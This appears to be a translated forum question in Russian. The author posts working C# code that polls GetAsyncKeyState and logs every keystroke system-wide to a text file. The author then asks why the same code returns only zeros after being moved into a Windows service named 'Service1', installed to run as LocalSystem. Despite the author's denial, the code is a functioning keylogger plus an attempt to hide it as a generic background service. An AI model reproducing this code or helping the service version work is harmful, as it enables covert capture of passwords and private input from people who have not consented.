Я написал следующий EXE-файл на C #:
namespace Service
{
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void Main(string[] args)
{
StartLogging();
}
static void StartLogging()
{
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
using (StreamWriter outputFile = new StreamWriter("C:\\Output.txt", true))
{
outputFile.WriteLine((Keys)i);
}
break;
}
}
}
}
}
}
Эта программа записывает каждое событие клавиатуры, независимо от того, в какой программе.Он работает нормально.
Затем я попытался поместить это в службу Windows, и она не работает.Следующий код - моя служба:
namespace Dienst
{
public class Service : ServiceBase
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void StartLogging()
{
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
using (StreamWriter outputFile = new StreamWriter("C:\\TestNeu.txt", true))
{
outputFile.WriteLine((Keys)i);
}
break;
}
}
}
}
static void Main()
{
Service.Run(new Service());
}
protected override void OnStart(string[] args)
{
base.OnStart(args);
StartLogging();
}
protected override void OnContinue()
{
base.OnContinue();
}
protected override void OnStop()
{
base.OnStop();
}
}
[RunInstaller(true)]
public class Installation : Installer
{
private ServiceInstaller service;
private ServiceProcessInstaller process;
public Installation()
{
service = new ServiceInstaller();
process = new ServiceProcessInstaller();
service.ServiceName = "Service1";
service.DisplayName = "Service1";
service.Description = "WindowsService";
process.Account = ServiceAccount.LocalSystem;
Installers.Add(process);
Installers.Add(service);
}
}
}
Результат от GetAsyncKeyState(i)
всегда равен 0. Может кто-нибудь мне помочь?Я не знаю, потому что этот код как Сервис не работает.И нет, я не хочу писать кейлоггер, только если кто-то так думает.